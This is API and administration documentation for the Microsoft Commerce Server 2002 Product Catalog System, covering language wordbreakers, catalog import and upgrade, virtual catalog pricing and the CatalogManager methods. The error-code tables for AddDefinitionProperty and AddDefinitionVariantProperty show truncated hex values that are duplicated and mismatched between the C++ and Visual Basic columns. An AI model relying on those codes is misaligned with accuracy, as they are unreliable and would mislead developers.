Neutral | Neutral
Chs, zh-CN | Chinese simplified
cht, zh-TW | Chinese traditional
Deu, de | German
Eng, en-GB | English_UK
Enu, en-US | English_US
Ens, es | Spanish
Fra, fr | French
Ita, it | Italian
Jpn, ja | Japanese
Kor, ko | Korean
nld, nl | Dutch
Sve, sv | Swedish

If you want to change this default mapping or associate a wordbreaker with a language, modify the languages.xml file in the Program Files\Microsoft Commerce Server 2002 folder as follows:

<?xml version = '1.0' encoding='utf-8' ?>
<Languages>
<Language culture_name="en-ZW"    display_name="English - Zimbabwe" culture_code="0x3009" iso639x="ENW" collation="" word_breaker="0x0409"/>
</Languages>

This will use the English wordbreaker for the culture en-ZW.

Run the following script: UpdateLanguageInfo <path of the languages.xml file>.

By default, the language-neutral data in the catalog uses the Neutral language wordbreaker. To use a different wordbreaker for the language-neutral data, add the following entry in languages.xml:

<Languages>
<Language culture_name="Neutral"    display_name="Neutral" culture_code="" iso639x="Neutral" collation="" word_breaker="0x0411"/>
</Languages>

This will use the Japanese wordbreaker for searching the language-neutral data and can be helpful on a Japanese installation.

Run the following script: UpdateLanguageInfo <path of the languages.xml file>.


Getting the Status of an XML Import Operation

When you are importing an XML file in an asynchronous mode, you need to know the status of your current import operation.

The catalog import creates a temporary table called ##CatalogImportStatusID that contains the status ID of the import operation currently in progress. This table contains a single field called StatusID. The Catalogstatus table contains the status of all the import operations. You can use the StatusID to get the status of the import operation from the Catalogstatus table.

Select @statusid =  StatusID from ##CatalogImportStatusID
Select * from catalogstatus where StatusId = @ statusid

If you have a very large XML file and you continue to get a “Not enough memory to complete this operation” error during import, install Microsoft XML Core Services (MSXML) 4.0.


Changing Non-Multilingual Properties to Multilingual

To change non-multilingual properties in your own catalog system to multilingual properties, use the Commerce Server 2002 Upgrade tool. Create an XML file as follows:

<?xml version="1.0" ?>
<UpgradeInfo>
<PropertyName>Description</PropertyName>
</UpgradeInfo >

Add a <PropertyName> tag for each property you want to convert to multilingual.

Use the following command:

CS2002Upgrade –L –N “connection string to the catalog database” –X “path of the XML file”


Converting Properties to Multilingual in a CSV File

If you want to make properties multilingual in your CSV file, first create these properties as multilingual properties and then import the CSV file.


Specifying Input Parameters for Search Conditions

For all input parameters that allow you to specify a search condition, the following two rules apply:

  • You should enclose all the property names in brackets. For example: [Country Of Origin] = N’some country’ And [Name] = N‘some name’.
  • If you are using Unicode values in search phrases, then they should be preceded by a capital N. For example: [Name] = N’My name’ and Description=N’some description’.

When passing values to parameters that accept a search condition, you should precede the property value by N and the property values should be enclosed in single quotes. You must do this if the values can contain Unicode characters. For example:

oCatalogManager.Search("[Name] = N'unicode_myname'")
oCatalogManager.Catalogs("[CatalogName] LIKE N'unicode_Books%'")

In the preceding example, unicode_myname and unicode_Books would be actual Unicode characters.


Changing the Data Type of a Catalog Property

To change the data type of a property from string to text, use the SetPropertyAttributes method of the CatalogManager object.


Converting a Commerce Server 2000 Multilingual Catalog to Commerce Server 2002

If your Commerce Server 2000 multilingual implementation conforms to the Commerce Server 2000 multilingual implementation documentation, you can use the Commerce Server 2002 Upgrade tool to upgrade to the Commerce Server 2002 multilingual implementation.

Create an XML file with the following schema:

<?xml version="1.0" ?>
<UpgradeInfo>
<Language languagecode="English" culture_name="en-US" />
<Language languagecode="french" culture_name="fr-FR" />
</UpgradeInfo >

This XML file maps the language code of the Commerce Server 2000 implementation to a culture code.

Use the following command:

CS2002Upgrade –L –N “connection string to the catalog database” –X “path of the XML file”


Adding Relationships Across Catalogs

Use the AddRelationshipToCategory and AddRelationshipToProduct methods of the Product and Category objects to add relationships from another catalog.


Working with Root Categories

If you pass an empty string to the GetCategory method of the ProductCatalog object, the Category object is exposed as a root category. This allows you to call some of the methods of the Category object as if you are calling them on the catalog. The following snippet shows how you can page through the root products in a catalog:

Set oProductCatalog = oCatalogManager.GetCatalog(“mycatalog”)
‘ Get the root category
Set oCategory = oProductCatalog.GetCategory(“”)
‘ Now get 10 products and product families starting from the 10th root product
Set oRs = oCategory.Products(12,”Name”,10,10, NumRootProducts)
‘ This call will return all products and variants in your catalog
Set oRs = oCategory. DescendantProducts(14,1, , NumRootProducts)

You can call the following methods on the root category:

  • CatalogName
  • CategoryName
  • ChildCategories
  • Products
  • DescendantProducts
  • Search


Adding User-Defined Attributes to Catalogs

To associate additional information with your catalogs, use the AddCatalogAttribute method of the CatalogManager object to add user-defined catalog attributes. You can also add an AttributeDefinition element in the XML file to create user-defined catalog attributes by importing an XML file. For example, you can add a VendorCode attribute and use it to associate a vendor with a catalog.

For example, following is an XML with the VendorCode attribute:

<?xml version="1.0" ?>
-    <MSCommerceCatalogCollection2 version="2.0">
-       <CatalogSchema>
<AttributeDefinition AttributeType="CatalogAttribute"
   name="VendorCode" dataType="string" maxLength =  "30" />
         <!—Properties and definitions go here ->
  </CatalogSchema>
 <Catalog name =”Mycatalog” VendorCode=”MyVendor”>
<!—Categories and  products go here ->
      </Catalog>
  </MSCommerceCatalogCollection2>


Associating Additional Information with Catalog Properties

You can use the AddPropertyAttribute method of the CatalogManager object to add user-defined property attributes. You can also add an AttributeDefinition element in the XML file to create user-defined property attributes by importing an XML file.

Following is a sample XML file in which the AttributeDefinition element is used:

<?xml version="1.0" ?>
-    <MSCommerceCatalogCollection2 version="2.0">
-       <CatalogSchema>
<AttributeDefinition Name="Unitofmeasure" dataType="string"
maxlength="20" />
<PropertyName =”myproperty” datatype = “string” Unitofmeasure=”lbs”/>
  </CatalogSchema>
  </MSCommerceCatalogCollection2>


Working with Materialized and Non-Materialized Virtual Catalogs

By default, virtual catalogs are implemented as SQL Server views. This makes it easier and faster to edit a virtual catalog, but it can reduce the run-time performance in comparison to base catalogs. To improve run-time performance of virtual catalogs, you can materialize your virtual catalogs. When you materialize a virtual catalog, the virtual catalog data is stored in tables. This improves the run-time performance of virtual catalogs.

You can materialize or non-materialize your virtual catalogs by using the MaterializeVC.vbs script. This file is installed in the Program Files\Microsoft Commerce Server 2002\Support directory.

To reflect base catalog changes to your virtual catalogs, you have to rebuild your virtual catalogs. For more information, see the RebuildAllVirtualCatalogs and RebuildVirtualCatalog methods.


Pricing Rules in Custom Catalogs and Virtual Catalogs

Commerce Server 2000 supported custom catalogs. Commerce Server 2002 supports virtual catalogs, an enhanced and more flexible form of custom catalogs.

The percentage multiplier pricing rule differs between custom catalogs and virtual catalogs as follows:

  • In a custom catalog the final price = base price * pricing amount /100.
  • In a virtual catalog the final price = base price + base price * pricing amount /100.

For example, to give a 10 percent discount on a product in a custom catalog you have to set the pricing amount to 90, whereas in a virtual catalog you have to set the pricing amount to -10.

When you upgrade, the Commerce Server 2002 Upgrade tool will convert your custom catalogs to virtual catalogs. The price rules on the custom catalogs will be applied to the virtual catalogs. The contents of the virtual catalogs, including the prices in the virtual catalogs, will be the same as in the custom catalogs.

The custom catalogs will be converted to virtual catalogs when you unpackage a Commerce Server 2000 site.


Using Current Product Prices vs Original Product Prices

The OriginalPrice property of a product is set only when the product is created. It is never changed.

While the OriginalPrice property contains the original/backup price of a product, the cy_list_price field contains the current price for the product. At run time, you mostly need to be concerned with cy_list_price.

The code in the Catalog API ensures that cy_list_price is either the product’s direct price or the pricing-category's indirect price. You do not need to pay attention to the OriginalPrice value, because it is an internal implementation detail and typically you will not need to directly read or write it.

For example:

  1. You create a product P1 with price $5. It sets both cy_list_price and OriginalPrice to $5.
  2. If you now assign this product indirect pricing (that is, assign it to a pricing category C1 with price = $2), then cy_list_price for P1 is changed to $2. The original price for P1 is not changed.
  3. Finally, if you change P1 to be directly priced (that is, remove its pricing-category assignment), then cy_list_price is set to the OriginalPrice (that is, the backed up price), in this case, $5.

The OriginalPrice property is used to store a backup of the "original" product price so that you can revert the price when the product is changed from indirect to direct pricing.


CatalogManager Object [C++]

CatalogManager Object [Visual Basic]

Use this object to work with the entire Product Catalog System. The methods and properties of this object affect all catalogs contained in the Product Catalog System.

ProgID: | Commerce.CatalogManager (Externally creatable)
COM Class Name: | CatalogManager
Type Library Name: | Microsoft Commerce 2002 Catalog Type Library v1.3
DLL Name: | Catalog.dll
Threading Model: | Both
[C++]
COM Interface Name: | ICatalogManager3
Interface ID Constant: | IID_ICatalogManager3
Header File: | Catalog.h, mspu_guids.h
[C++]

In C++, use the ICatalogManager3 interface to access the properties and methods of the CatalogManager object. The ICatalogManager interface exists in Microsoft Commerce Server 2000 and later versions. The ICatalogManager2 interface exists in Microsoft Commerce Server 2000 SP1 and later versions.The ICatalogManager3 interface is the default interface for the CatalogManager object and is backward compatible with the previous interfaces.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Exports updated catalog data as an Extensible Markup Language (XML)-formatted file.
ExportCSV | Exports catalog data as a comma-separated values (CSV)-formatted file.
ExportXML | Exports catalog data as an XML-formatted file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a CSV-formatted file as catalog data.
ImportXML | Imports an XML-formatted file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Changes the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.
[Visual Basic]
Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Exports updated catalog data as an Extensible Markup Language (XML)-formatted file.
ExportCSV | Exports catalog data as a comma-separated values (CSV)-formatted file.
ExportXML | Exports catalog data as an XML-formatted file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified product or category definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a CSV-format file as catalog data.
ImportXML | Imports an XML-formatted file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Changes the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.

Properties

[C++]
Property | Type | Description
Catalogs | _Recordset | Returns a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | _Recordset | Returns a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | _Recordset | This property is obsolete.
ProductDefinitions | _Recordset | Returns a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | _Recordset | Returns a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.
[Visual Basic]
Property | Type | Description
Catalogs | _Recordset | Returns a recordset containing a record for each catalog contained in the Product Catalog System, including their properties. This property is read-only.
CategoryDefinitions | _Recordset | Returns a recordset containing the names of all of the category definitions that currently exist in the Product Catalog System. This property is read-only.
CustomCatalogs | _Recordset | This property is obsolete.
ProductDefinitions | _Recordset | Returns a recordset containing the names of all the product definitions that currently exist in the Product Catalog System. This property is read-only.
Properties | _Recordset | Returns a recordset containing the name of each property that currently exists in the Product Catalog System. This property is read-only.

Recordsets

Recordset | Description
PropertyAttribute | The default property definitions found in the CatalogAttributes table.

This topic also contains a list of Language Culture Names, Display Names, Culture Codes, and ISO 639x values that are used by Commerce Server. For more information, see Table of Language Culture Names, Codes, and ISO Values.

Remarks

Some methods of the CatalogManager object cannot be called in a transacted object. These methods are CreateCatalog, DeleteCatalog, GenerateCustomCatalog, ImportCSV, ImportXML, and RegenerateFreeTextSearchIndex. These methods involve the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

Binding to the CatalogManager object in a COM+ component that has either the Required or Requires New Transaction property set generates a run time error.


ICatalogManager3 Methods [C++]

CatalogManager Methods [Visual Basic]

Methods

[C++]
Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Exports updated catalog data as an Extensible Markup Language (XML)-formatted file.
ExportCSV | Exports catalog data as a comma-separated values (CSV)-formatted file.
ExportXML | Exports catalog data as an XML-formatted file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a CSV-formatted file as catalog data.
ImportXML | Imports an XML-formatted file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Changes the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.
[Visual Basic]
Method | Description
AddCatalogAttribute | Adds an attribute to a catalog.
AddDefinitionProperty | Adds a property to a definition.
AddDefinitionVariantProperty | Adds a variant property to a definition.
AddPropertyAttribute | Adds an attribute to a property.
AddPropertyValue | Adds a value to the list of defined values for this property. Only applies to enumerations.
CreateCatalog | Creates a new catalog.
CreateCategoryDefinition | Creates a new category definition.
CreateProductDefinition | Creates a new product definition.
CreateProperty | Creates a new property.
DeleteCatalog | Deletes a catalog.
DeleteDefinition | Deletes a product or category definition.
DeleteProperty | Deletes a property.
DeltaExportXML | Exports updated catalog data as an Extensible Markup Language (XML)-formatted file.
ExportCSV | Exports catalog data as a comma-separated values (CSV)-formatted file.
ExportXML | Exports catalog data as an XML-formatted file.
FreeTextSearch | Performs a free-text search of catalogs.
GetAttributes | Returns the catalog or property attributes in the Product Catalog System.
GetCatalog | Returns the specified catalog object.
GetDefinitionProperties | Returns the properties of a specified product or category definition.
GetPropertyAttributes | Returns all the attributes of a specified property.
GetPropertyValues | Returns a list of appropriate values for an enumeration property.
ImportCSV | Imports a CSV-format file as catalog data.
ImportXML | Imports an XML-formatted file as catalog data.
Initialize | Initializes the CatalogManager object.
Query | Performs queries against product, variant, and category data in one or more catalogs.
RebuildAllVirtualCatalogs | Rebuilds all virtual catalogs.
RemoveCatalogAttribute | Removes the specified attribute from a catalog.
RemoveDefinitionProperty | Removes the specified property or variant property from a definition.
RemovePropertyAttribute | Removes the specified attribute from a property.
RemovePropertyValue | Removes a defined value from an enumeration property.
RenameDefinition | Renames a definition.
RenameProperty | Renames a property.
Search | Performs language-specific searches in one or more catalogs.
SetDefinitionProperties | Changes the properties of a category or product definition.
SetJoinTable | Joins an external table to a table in the Product Catalog System.
SetPropertyAttributes | Changes the attributes of a property.
ValidateXML | Validates an XML-formatted file against the catalog definition.


ICatalogManager3::AddCatalogAttribute Method[C++]

CatalogManager.AddCatalogAttribute Method [Visual Basic]

Use this method to add an attribute to a catalog.

Definition

[C++]
HRESULT ICatalogManager3::AddCatalogAttribute(
  BSTR strAttributeName,
  CatalogDataTypeEnum eDataType,
  VARIANT varMaxLength
);
[Visual Basic]
Sub AddCatalogAttribute(
  strAttributeName As String,
  eDataType As CatalogDataTypeEnum,
  Optional varMaxLength As Variant
)

Parameters

strAttributeName [C++]
[in] A BSTR that contains the attribute name. See the Remarks section for a list of restricted characters.
strAttributeName [Visual Basic]
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType [C++]
[in] An enumeration that contains the data type. See the Remarks section for valid values.
eDataType [Visual Basic]
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength [C++]
[in, optional] A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.
varMaxLength [Visual Basic]
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C++] 0x88980117 [Visual Basic] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C++] 0x88980074 [Visual Basic] &H88980074 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x88980040 [Visual Basic] &H88980040 | The length specified for this property does not lie between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C++] 0x889800A6 [Visual Basic] &H889800A6 | The enumeration or filename data types cannot be used for creating property attributes
E_CAT_BUILTIN_CATALOG_ATTRIBUTE | [C++] 0x889800B0 [Visual Basic] &H889800B0 | The catalog attribute that you specified is a built in catalog attribute and hence cannot be added or removed.
E_CAT_INVALID_DATATYPE | [C++] 0x88980074 [Visual Basic] &H88980074 | The datatype you specified is invalid.
E_CAT_MAX_ATTRIBUTES | [C++] 0x88980118 [Visual Basic] &H88980118 | You have exceeded the maximum limit of 100 attributes that can be created
E_CAT_CATALOG_ATTR_EXISTS | [C++] 0x88980110 [Visual Basic] &H88980110 | The catalog attribute that you specified already exists.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The varMaxLength parameter applies only when the eDataType parameter equals cscString. The minimum value is 1 and the maximum value is 4000. The varMaxLength parameter is ignored for all other data types.

Each catalog system is limited to 100 attributes.

Catalog attribute names, and therefore the strAttributeName parameter, are limited to a maximum length of 36 characters and cannot contain any of the following characters:

  • Period (.)
  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

The following table shows the values of the CatalogDataTypeEnum enumeration that are valid for this method, their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server money data type.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddCatalogAttribute("Supplier", cscString, 100)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::AddDefinitionProperty Method [C++]

CatalogManager.AddDefinitionProperty Method [Visual Basic]

Use this method to add an existing property to an existing category or product definition.

Definition

[C++]
HRESULT ICatalogManager3::AddDefinitionProperty(
  BSTR strDefinitionName,
  BSTR strPropertyName
);
[Visual Basic]
Sub AddDefinitionProperty(
  strDefinitionName As String,
  strPropertyName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition to which the property will be added.
strDefinitionName [Visual Basic]
A String that contains the name of the definition to which the property will be added.
strPropertyName [C++]
[in] A BSTR that contains the name of the property.
strPropertyName [Visual Basic]
A String that contains the name of the property.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property Names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The definition you specified does not exist.
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_IN_DEFINITION | [C++] 0x8898000 [Visual Basic] &H889800D | The property you specified is already part of that definition.
E_CAT_ERROR_VARIANT_PROP | [C++] 0x889800A [Visual Basic] &H8898003 | A variant property cannot be added to a Category definition.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method adds a property to a definition. Any products or categories created from the definition will also have the property. A property can only be added to a definition once. A property cannot be used in a product definition as both a property and a variant property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddDefinitionProperty "Printers", "Manufacturer"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionVariantProperty

[Visual Basic] CatalogManager.AddDefinitionVariantProperty

[C++] ICatalogManager3::RemoveDefinitionProperty

[Visual Basic] CatalogManager.RemoveDefinitionProperty


ICatalogManager3::AddDefinitionVariantProperty Method [C++]

CatalogManager.AddDefinitionVariantProperty Method [Visual Basic]

Use this method to add a variant property to a definition. This method is similar to the AddDefinitionProperty method. The properties added with this method will only be used by product variants.

Definition

[C++]
HRESULT ICatalogManager3::AddDefinitionVariantProperty(
  BSTR strDefinitionName,
  BSTR strPropertyName
);
[Visual Basic]
Sub AddDefinitionVariantProperty(
  strDefinitionName As String,
  strPropertyName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the definition to which the specified variant property will be added.
strDefinitionName [Visual Basic]
A String that contains the name of the definition to which the specified variant property will be added.
strPropertyName [C++]
[in] A BSTR that contains the name of the property to be added to the specified definition.
strPropertyName [Visual Basic]
A String that contains the name of the property to be added to the specified definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H889800B | The definition you specified does not exist.
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_IN_DEFINITION | [C++] 0x8898000 [Visual Basic] &H889800D | The property you specified is already part of that definition.
E_CAT_ERROR_VARIANT_PROP | [C++] 0x889800A [Visual Basic] &H8898003 | A variant property cannot be added to a category definition.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method adds a variant property to a definition. Any product variants created from the definition will also have the property. A property can only be added to a definition once. A property cannot be used in a product definition as both a property and a variant property.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddDefinitionVariantProperty "T-Shirts", "Size"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::RemoveDefinitionProperty

[Visual Basic] CatalogManager.RemoveDefinitionProperty


ICatalogManager3::AddPropertyAttribute Method [C++]

CatalogManager.AddPropertyAttribute Method [Visual Basic]

Use this method to add an attribute to a property.

Definition

[C++]
HRESULT ICatalogManager3::AddPropertyAttribute(
  BSTR strAttrName,
  CatalogDataTypeEnum eDataType,
  VARIANT varMaxLength
);
[Visual Basic]
Sub AddPropertyAttribute(
  strAttrName As String,
  eDataType As CatalogDataTypeEnum,
  Optional varMaxLength As Variant
)

Parameters

strAttrName [C++]
[in] A BSTR that contains the attribute name. See the Remarks section for a list of restricted characters.
strAttrName [Visual Basic]
A String that contains the attribute name. See the Remarks section for a list of restricted characters.
eDataType [C++]
[in] An enumeration that contains the data type. See the Remarks section for valid values.
eDataType [Visual Basic]
An enumeration that contains the data type. See the Remarks section for valid values.
varMaxLength [C++]
[in, optional] A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.
varMaxLength [Visual Basic]
A VARIANT that contains the maximum string length if the eDataType parameter is cscString. This parameter is required if the eDataType parameter is cscString.

Return Values

